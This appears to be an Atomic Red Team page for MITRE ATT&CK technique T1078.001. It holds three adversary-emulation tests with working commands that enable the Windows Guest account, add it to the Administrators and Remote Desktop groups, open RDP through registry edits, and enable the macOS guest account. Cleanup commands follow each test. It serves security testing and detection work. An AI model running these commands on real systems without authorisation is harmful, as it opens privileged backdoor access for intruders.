T1078.001 - Valid Accounts: Default Accounts

Description from ATT&CK (opens in a new tab)

Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS, the root user account in ESXi, and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

Default accounts are not limited to client machines; rather, they also include accounts that are preset for equipment such as network devices and computer applications, whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys (opens in a new tab) or credential materials to legitimately connect to remote environments via Remote Services (opens in a new tab).(Citation: Metasploit SSH Module)

Default accounts may be created on a system after initial setup by connecting or integrating it with another application. For example, when an ESXi server is connected to a vCenter server, a default privileged account called vpxuser is created on the ESXi server. If a threat actor is able to compromise this account’s credentials (for example, via Exploitation for Credential Access (opens in a new tab) on the vCenter host), they will then have access to the ESXi server.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)(Citation: Pentera vCenter Information Disclosure)

Atomic Tests

• Atomic Test #1 - Enable Guest account with RDP capability and admin privileges

• Atomic Test #2 - Activate Guest Account

• Atomic Test #3 - Enable Guest Account on macOS

Atomic Test #1 - Enable Guest account with RDP capability and admin privileges

After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group, and desktop will allow multiple RDP connections.

Supported Platforms: Windows

auto_generated_guid: 99747561-ed8d-47f2-9c91-1e5fde1ed6e0

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

Cleanup Commands:

net user #{guest_user} /active:no >nul 2>&1
net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1
if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)
if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1)
if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1)

Atomic Test #2 - Activate Guest Account

The Adversaries can activate the default Guest user. The guest account is inactivated by default

Supported Platforms: Windows

auto_generated_guid: aa6cb8c4-b582-4f8e-b677-37733914abda

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

net user #{guest_user} /active:yes

Cleanup Commands:

net user #{guest_user} /active:no

Atomic Test #3 - Enable Guest Account on macOS

This test enables the guest account on macOS using sysadminctl utility.

Supported Platforms: macOS

auto_generated_guid: 0315bdff-4178-47e9-81e4-f31a6d23f7e4

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

sudo sysadminctl -guestAccount on

Cleanup Commands:

sudo sysadminctl -guestAccount off